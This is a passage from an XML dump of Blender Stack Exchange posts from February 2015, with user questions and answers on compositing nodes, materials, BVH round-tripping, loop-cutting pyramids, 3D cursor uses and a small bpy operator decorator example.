  <row Id="24767" PostTypeId="1" CreationDate="2015-02-14T23:19:45.580" Score="1" ViewCount="689" Body="&lt;p&gt;I'm having issues with the Node Editor. I have clicked render image button but I am unsure as to whether it has worked. No image actually comes up, and there is no backdrop button.&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/2mycq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2mycq.png&quot; alt=&quot;blender showing the node editor&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11594" LastEditorUserId="2217" LastEditDate="2015-02-15T02:02:50.457" LastActivityDate="2015-02-15T02:02:50.457" Title="No Backdrop Button in node editor" Tags="&lt;interface&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24768" PostTypeId="2" ParentId="24767" CreationDate="2015-02-14T23:24:06.497" Score="3" Body="&lt;p&gt;You have &lt;em&gt;Shader&lt;/em&gt; or material nodes selected, what you want are &lt;em&gt;Compositing&lt;/em&gt; nodes which is the button directly to the right of that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to see the output of your render in the compositor, you need a &lt;em&gt;Viewer&lt;/em&gt; node connected to the render layer you are working with. So switch to compositing nodes, add a viewer node, tick backdrop and you should see your render.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2015-02-14T23:30:45.597" LastActivityDate="2015-02-14T23:30:45.597" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="24769" PostTypeId="2" ParentId="24766" CreationDate="2015-02-15T00:12:40.657" Score="2" Body="&lt;p&gt;you have many options :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;create another material with a different color&lt;/li&gt;&#xA;&lt;li&gt;select the face you want to color and click on &lt;strong&gt;assign&lt;/strong&gt; in the &lt;strong&gt;Material&lt;/strong&gt; tab&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cIrTP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OR&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;create another object that fits inside the torus and give it another material&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/U1G8w.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OR&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;use a texture  and unwrap the object to map it correctly&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8E4Yw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-02-15T00:12:40.657" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="24770" PostTypeId="1" CreationDate="2015-02-15T00:39:26.943" Score="0" ViewCount="91" Body="&lt;p&gt;I'm developing a videogame, so I started creating my assets on blender. I have made a human with a walk and idle animations (Everything fine here :) ). For unity can detect that the main character's walking animation I need to apply a path to it. So I added a path as a constraint and everthing is OK, BUT also my idle animation starts moving according to this path...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a way that I can apply ONLY the path to the walking animation and not to the idle one?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ty!!&lt;/p&gt;&#xA;" OwnerUserId="11394" LastActivityDate="2015-02-15T00:39:26.943" Title="Animations to Unity3d" Tags="&lt;animation&gt;&lt;unity&gt;&lt;nla-editor&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24772" PostTypeId="1" CreationDate="2015-02-15T01:20:47.137" Score="0" ViewCount="95" Body="&lt;p&gt;I am trying to figure out an issue for my student who is having a problem with parenting and skinning his creature. He sent me what he had and I went back and redid it by adding the bones again. When I try to parent it, the message, &quot;bone heat weighting failed&quot; comes up. I have tried removing the double vertices, recalucating the outside, turning on and off the x axis, rotating, scaling, turning on subsurf and I cannot figure out why it isn't working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried to skin his creature that he originally sent to me following the directions the course gives, but nothing happens and I am not sure if it is because it isn't parented correctly? When I try it doesn't select part of the body like it should.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be great!&lt;/p&gt;&#xA;" OwnerUserId="11597" LastActivityDate="2015-02-15T01:20:47.137" Title="Bone Heat Weighting Failed" Tags="&lt;rigging&gt;&lt;armature&gt;&lt;bones&gt;" AnswerCount="0" CommentCount="4" ClosedDate="2015-02-15T07:01:09.477" ContentLicense="CC BY-SA 3.0" />
  <row Id="24773" PostTypeId="1" AcceptedAnswerId="24775" CreationDate="2015-02-15T01:24:31.443" Score="4" ViewCount="2162" Body="&lt;p&gt;I have a bvh file found &lt;a href=&quot;https://www.dropbox.com/s/5ww124hr3ut6kuj/original.bvh?dl=0&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; and I want to import it to blender, then export it again so that both the original (imported) and exported bvh files are identical. I'm not sure what options I should choose to import and export the bvh files so if anyone could please advise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I keep the default options to import and export, then open the bvh files, they are totally different, this is the resulted &lt;a href=&quot;https://www.dropbox.com/s/d1jwka38hvemhqo/result_export.bvh?dl=0&quot; rel=&quot;nofollow&quot;&gt;bvh file&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if anyone could please advise.&lt;/p&gt;&#xA;" OwnerUserId="2517" LastEditorUserId="2517" LastEditDate="2015-03-16T10:20:02.400" LastActivityDate="2015-03-16T10:20:02.400" Title="Import a bvh file and export it to be the same" Tags="&lt;animation&gt;&lt;export&gt;&lt;armature&gt;&lt;import&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24774" PostTypeId="1" AcceptedAnswerId="24791" CreationDate="2015-02-15T01:58:58.057" Score="2" ViewCount="1763" Body="&lt;p&gt;I'm new to blender (and in fact modelling in general) and I don't know the controls. I think at one point I must have toggled something wrong and now instead of dragging vertices around right mouse button extrudes from whatever is selected.&lt;br&gt;&#xA;In addition selecting a vertex and trying to move it manually with the X/Y/Z transform boxes also extrudes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know what I've done and how to reverse it?&lt;/p&gt;&#xA;" OwnerUserId="11598" LastEditorUserId="12" LastEditDate="2015-02-16T19:22:47.423" LastActivityDate="2015-09-13T03:58:56.980" Title="How to turn off what seems to be an auto extrude" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="24775" PostTypeId="2" ParentId="24773" CreationDate="2015-02-15T02:08:23.800" Score="3" Body="&lt;p&gt;I looked a little closer and found a solution. On importing, there's an option to set which axes point up and forward. Set those to Z up and Y forward.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/FuYak.png&quot; alt=&quot;BVH import options&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the original file with the axes set like that:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ceWr0.png&quot; alt=&quot;Original file&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here's after exporting it and re-importing it with the axes set like that:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/RyZDW.png&quot; alt=&quot;Exported then re-imported file&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see the entire scene gets rotated when you do this, but the files are essentially identical. A possible workaround would be to import with the axes set to their defaults, and when you're done working with it, select &lt;strong&gt;everything&lt;/strong&gt; and rotating it by -90° around the X axis before exporting. Snap the 3D cursor to the world centre (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt; &gt; &lt;kbd&gt;R&lt;/kbd&gt;) and set the pivot point to 3D cursor before rotating.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/hjEFD.png&quot; alt=&quot;Set pivot point&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user7952" LastEditorDisplayName="user7952" LastEditDate="2015-02-15T03:15:32.050" LastActivityDate="2015-02-15T03:15:32.050" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24776" PostTypeId="1" CreationDate="2015-02-15T02:55:18.653" Score="1" ViewCount="207" Body="&lt;p&gt;Hi I'm new to blender and I was wondering if Blender has something like the game export tool like in Maya LT. What I'm interested in is the ability to export a fbx with animation clips already  defined. This is really important because I'm using this with the Unity game Engine and it would help a lot in speeding up development.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a video of what I'm talking about.&#xA;&lt;a href=&quot;https://www.youtube.com/watch?v=gDW_-ACddd4&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=gDW_-ACddd4&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="11599" LastActivityDate="2015-02-15T02:55:18.653" Title="Game Export Tool like in Maya LT Update 2" Tags="&lt;export&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24777" PostTypeId="2" ParentId="24756" CreationDate="2015-02-15T04:01:07.373" Score="9" Body="&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/a/24757/372&quot;&gt;SixthOfFour's answer&lt;/a&gt; correctly explains the codec/container difference.&#xA;But I am able to natively export as MP4 (with Blender 2.73 on 64-bit Linux) with the following settings:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Output panel, file format dropdown: &lt;strong&gt;H.264&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Encoding panel, format drop-down: &lt;strong&gt;MPEG-4&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BkdHf.png&quot; alt=&quot;Screenshot showing the necessary output and encoding settings to export as an MP4-contained video&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This produces &lt;code&gt;/tmp/0001-0250.mp4&lt;/code&gt; with the H.264 codec.&lt;/p&gt;&#xA;" OwnerUserId="372" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2015-02-15T04:01:07.373" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24779" PostTypeId="2" ParentId="24746" CreationDate="2015-02-15T05:11:52.970" Score="7" Body="&lt;p&gt;A lot of your normals are facing inwards.  You probably can't see this because backface culling is disabled by default.  I always keep it activated so I can see these problems right away.  Here's what it looks like with Backface Culling enabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9S0zF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can view the normals using the following setting.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4A0FB.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can flip them with the following tool in Edit mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Qw46n.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also use remove doubles because there were many vertices that were overlapping which were not attached to each other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The door is partially attached to the rest of the mail-box at the bottom which makes the polygon flow difficult to work with.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, there is a shelf inside the model which is attached to the outer polygons, this may be intentional but has the same effect as interior faces: it causes rendering artifacts and was the biggest problem here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GtLjX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cycles cannot handle super low-poly models very well.  Basically triangles become very dark and visible at areas where the lights hit them at glancing angles.  Adding more geometry, lights and an HDR texture can help with this.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used inset on the top piece and some loop cuts along the rim.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4p8bl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oLMwm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main box and the door have a Bevel Modifier attached and set to 'Angle'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I applied the Solidify modifier on the door latch/hook thing and added inset and loop cuts to it as well as a sub-surface modifier to make the edges more crisp.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZlKJz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aNYdw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the .blend &lt;a href=&quot;http://www.pasteall.org/blend/34426&quot; rel=&quot;noreferrer&quot;&gt;http://www.pasteall.org/blend/34426&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2015-02-15T05:19:26.647" LastActivityDate="2015-02-15T05:19:26.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24781" PostTypeId="1" AcceptedAnswerId="24840" CreationDate="2015-02-15T07:11:50.080" Score="4" ViewCount="1504" Body="&lt;p&gt;Is there a way to loop-cut a Square based Pyramid, so that there is multiple bands around the sloped sides?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Sorry, my bad, but when I said triangular prism, I was thinking about a pyramid, Changed that just now. Sorry again! Though the prism answer was a nice knowledge to know.&lt;/p&gt;&#xA;" OwnerUserId="11341" LastEditorUserId="11341" LastEditDate="2015-02-16T03:46:26.357" LastActivityDate="2015-02-16T04:55:13.787" Title="How to loopcut a Square-based Pyramid?" Tags="&lt;modeling&gt;" AnswerCount="3" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24782" PostTypeId="2" ParentId="24747" CreationDate="2015-02-15T09:32:06.943" Score="6" Body="&lt;p&gt;Using a decorator in an Operator class. Notice the repeating code is defined once in the decorator and any* function which you want to wrap that code around can be decorated with the &lt;code&gt;@mouse_change&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import time&#xA;&#xA;# declare the decorator&#xA;def mouse_change(func):&#xA;    def add_mouse_change(*args):&#xA;        bpy.context.window.cursor_set(&quot;WAIT&quot;)&#xA;        func(*args)&#xA;        bpy.context.window.cursor_set(&quot;DEFAULT&quot;)&#xA;    return add_mouse_change&#xA;&#xA;&#xA;class SimpleCBOperator(bpy.types.Operator):&#xA;    bl_idname = &quot;node.some_callback_identifier&quot;&#xA;    bl_label = &quot;Short Name&quot;&#xA;&#xA;    fn_name = bpy.props.StringProperty(default='')&#xA;&#xA;    @mouse_change&#xA;    def dispatch(self, context, type_op):&#xA;&#xA;        if type_op == 'some_named_function':&#xA;            time.sleep( 5 )&#xA;            print(type_op)&#xA;&#xA;        elif type_op == 'some_named_other_function':&#xA;            time.sleep( 5 )&#xA;            print(type_op)&#xA;&#xA;    def execute(self, context):&#xA;        self.dispatch(context, self.fn_name)&#xA;        return {'FINISHED'}&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(SimpleCBOperator)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(SimpleCBOperator)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&#xA;    # test call&#xA;    bpy.ops.node.some_callback_identifier(fn_name='some_named_function')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;*The way I wrote the decorator function won't let you decorate the &lt;code&gt;execute&lt;/code&gt; function. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;you would have less code, and arguably more understandable code, by dropping the decorator entirely and going with a dispatch-callback pattern..  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class SimpleCBOperator(bpy.types.Operator):&#xA;    bl_idname = &quot;node.some_callback_identifier&quot;&#xA;    bl_label = &quot;Short Name&quot;&#xA;&#xA;    fn_name = bpy.props.StringProperty(default='')&#xA;&#xA;    def dispatch(self, context, type_op):&#xA;        cursor_set = bpy.context.window.cursor_set&#xA;        cursor_set(&quot;WAIT&quot;)&#xA;&#xA;        if type_op == 'some_named_function':&#xA;            pass&#xA;&#xA;        elif type_op == 'some_named_other_function':&#xA;            pass&#xA;&#xA;        cursor_set(&quot;DEFAULT&quot;)&#xA;&#xA;    def execute(self, context):&#xA;        self.dispatch(context, self.fn_name)&#xA;        return {'FINISHED'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The drawback of using a single operator 'callback' with an internal dispatch, is that the tooltip wouldn't be unique per &lt;code&gt;fn_name&lt;/code&gt;. These are at least a few options to look into.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-02-15T13:19:56.763" LastActivityDate="2015-02-15T13:19:56.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24784" PostTypeId="2" ParentId="24781" CreationDate="2015-02-15T10:23:03.217" Score="2" Body="&lt;p&gt;If you need to cut it &lt;strong&gt;around&lt;/strong&gt; slope sides do it with the loopcut tool &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;R&lt;/kbd&gt; and adjust the number of cuts with middle wheel or input number with keyboard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NIHFZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to cut it &lt;strong&gt;along&lt;/strong&gt; slope sides:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Subdivide your prism with &lt;kbd&gt;W&lt;/kbd&gt; &gt; &lt;em&gt;Subdivide&lt;/em&gt; as many times as you need:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UrEuX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Delete the middle part:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6RBgg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select everything and convert to n-gons with &lt;kbd&gt;F&lt;/kbd&gt;, then hit &lt;kbd&gt;W&lt;/kbd&gt; &gt; &lt;em&gt;Bridge Edge Loops&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ADgOi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2015-02-15T11:37:49.190" LastActivityDate="2015-02-15T11:37:49.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24785" PostTypeId="2" ParentId="24781" CreationDate="2015-02-15T10:24:12.023" Score="0" Body="&lt;p&gt;You should use the &lt;strong&gt;&lt;em&gt;Loop Subdivide&lt;/em&gt;&lt;/strong&gt; tool. Just hover your cursor over the area of the mesh you want to loop-cut (place it near the edge), press &lt;kbd&gt;CTRL&lt;/kbd&gt;+&lt;kbd&gt;R&lt;/kbd&gt; and input the number of cuts you want to use using numerical keyboard buttons. Approve the operation by hitting &lt;kbd&gt;Enter&lt;/kbd&gt; twice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JyDGb.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see the details here:&#xA;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Editing/Subdividing/Loop_Subdivide&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Editing/Subdividing/Loop_Subdivide&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="7797" LastEditDate="2015-02-15T10:58:36.447" LastActivityDate="2015-02-15T10:58:36.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24786" PostTypeId="1" CreationDate="2015-02-15T11:03:28.187" Score="1" ViewCount="98" Body="&lt;p&gt;I am making animations for a zombie and using mask modifiers on different body parts which are separate models to hide in the renderer, however once a full piece of geometry is hidden i am no longer able to select it anywhere to turn the mask off again.. is there any way to select hidden geometry so i can disable the modifier and allowing it to render again?   hope that makes sense&lt;/p&gt;&#xA;" OwnerUserId="11604" LastEditorUserId="12" LastEditDate="2015-02-15T12:17:05.123" LastActivityDate="2015-02-15T12:17:05.123" Title="Selecting masked objects" Tags="&lt;3d-view&gt;&lt;selection-tools&gt;&lt;masking&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24787" PostTypeId="1" CreationDate="2015-02-15T11:21:56.947" Score="4" ViewCount="1024" Body="&lt;p&gt;I know the 3D Cursor can be used to position new objects, or snap existing ones to a certain location - but what else can it be used for?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An &lt;strong&gt;exhaustive list of every possible use&lt;/strong&gt; would be great (without repeating similar things like &quot;pivot for spin tool&quot;, &quot;pivot for screw tool&quot; - which could simply be said as &quot;Pivot for modeling tools&quot;).&lt;/p&gt;&#xA;" OwnerUserId="9" LastActivityDate="2015-02-19T17:22:55.357" Title="Uses of the 3D Cursor" Tags="&lt;3d-cursor&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24788" PostTypeId="2" ParentId="24787" CreationDate="2015-02-15T11:21:56.947" Score="6" Body="&lt;p&gt;Below are some uses of the 3d cursor in Blender with examples&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Precise placement of new objects&lt;/li&gt;&#xA;&lt;li&gt;Pivot for transformations, example - &lt;a href=&quot;https://blender.stackexchange.com/q/8604/12&quot;&gt;Transforms moving around the 3D cursor?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Pivot for modeling tools and modifiers (e.g. mirror, spin, screw...)&lt;/li&gt;&#xA;&lt;li&gt;Moving the origin of objects (&lt;kbd&gt;Ctrl-Alt-Shift-C&lt;/kbd&gt;), example - &lt;a href=&quot;https://blender.stackexchange.com/q/1291/12&quot;&gt;Change pivot or local origin of an object&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;A visual placeholder, for example to remember where something was previously in an animation.&lt;/li&gt;&#xA;&lt;li&gt;Accurate relocation of objects/relocating objects to exactly the same place&lt;/li&gt;&#xA;&lt;li&gt;Source location for the Clone Brush Tool (&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;LMB&lt;/kbd&gt; to set).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.940" LastActivityDate="2015-02-19T17:22:55.357" CommentCount="5" CommunityOwnedDate="2015-02-15T11:21:56.947" ContentLicense="CC BY-SA 3.0" />
  <row Id="24789" PostTypeId="2" ParentId="24786" CreationDate="2015-02-15T11:44:19.943" Score="1" Body="&lt;p&gt;You can see anything in your scene in the outliner.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/NghT5.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11431" LastActivityDate="2015-02-15T11:44:19.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24790" PostTypeId="1" CreationDate="2015-02-15T11:59:22.300" Score="1" ViewCount="1283" Body="&lt;p&gt;Can't figure it out why my blender user preferences input panel is blank? I use macbook pro?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/31Wte.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/31Wte.jpg&quot; alt=&quot;Blank Add-ons panel.&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11605" LastEditorUserId="30849" LastEditDate="2019-05-06T15:33:04.183" LastActivityDate="2019-05-06T15:33:04.183" Title="Why my blender user preferences input panel is blank?" Tags="&lt;customization&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24791" PostTypeId="2" ParentId="24774" CreationDate="2015-02-15T12:08:02.163" Score="1" Body="&lt;p&gt;Blender has no auto extrude functionality like what you describe to my knowledge. Based on your description, the most likely culprits are.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Duplicate vertices, to fix, &lt;kbd&gt;Tab&lt;/kbd&gt; into &lt;em&gt;Edit&lt;/em&gt; mode and perform a &lt;em&gt;Remove Doubles&lt;/em&gt; operation from the &lt;kbd&gt;W&lt;/kbd&gt; specials menu.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Proportional Editing, this is usually indicated by a circle that shows the region being affected, check your view header for a blue icon/toggle this with &lt;kbd&gt;O&lt;/kbd&gt;. See &lt;a href=&quot;https://blender.stackexchange.com/q/1765/12&quot;&gt;Why is an object stuck to another?&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Or it could be a combination of both of the above.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2015-02-16T19:23:49.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24792" PostTypeId="2" ParentId="24790" CreationDate="2015-02-15T12:25:01.800" Score="1" Body="&lt;p&gt;Try resetting them to factory defualts:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;1) To reset interface AND the current opened file: File &gt; Load Factory&#xA;  Settings;&lt;br&gt;&#xA;  2) To open a file without loading its interface: File&gt;&#xA;  Open, then untick the &quot;Load UI&quot; in the left of the File Browser&#xA;  window. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Ctrl+U saves the current file as Blender default file (the one seen&#xA;  when Blender is opened). &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Seen at:&#xA;  &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?t=202110&amp;amp;page=1&quot; rel=&quot;nofollow&quot;&gt;http://blenderartists.org/forum/showthread.php?t=202110&amp;amp;page=1&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Or try updating your version of blender by installing the most recent version:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;http://www.blender.org/download/&quot; rel=&quot;nofollow&quot;&gt;http://www.blender.org/download/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Hope that helps! :)&lt;/p&gt;&#xA;" OwnerUserId="11419" LastActivityDate="2015-02-15T12:25:01.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24793" PostTypeId="1" CreationDate="2015-02-15T12:48:37.367" Score="1" ViewCount="536" Body="&lt;p&gt;Sometimes the view transformation controls become frozen and just won't let me move around the scene.&#xA;If I copy and paste my objects into a new scene, the problem goes away.&#xA;Why does a scene get locked up sometimes?&lt;/p&gt;&#xA;" OwnerUserId="11124" LastActivityDate="2020-02-14T16:46:08.830" Title="Why does the view transformation controls become frozen sometimes?" Tags="&lt;3d-view&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24794" PostTypeId="1" AcceptedAnswerId="24795" CreationDate="2015-02-15T12:50:25.700" Score="4" ViewCount="721" Body="&lt;p&gt;I'm trying to explode an object gradually with the explode modifier. I used the &quot;quick explode&quot; to get the initial setup. Then I turned particle physics off so that the the pieces stay in place. My plan was to now create a force field object and use it to gradually move the particles away from their initial position. I can't seem to get a force field to effect the particles in any way though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this because I turned physics off? Am I approaching this wrong? How could I make the explode modifier explode my object in a gradual and controllable manner, for example from top to bottom?&lt;/p&gt;&#xA;" OwnerUserId="1037" LastEditorDisplayName="user7952" LastEditDate="2015-02-15T13:48:02.277" LastActivityDate="2015-02-15T13:48:02.277" Title="Affect explode modifier with force field" Tags="&lt;modifiers&gt;&lt;particles&gt;&lt;force-fields&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC 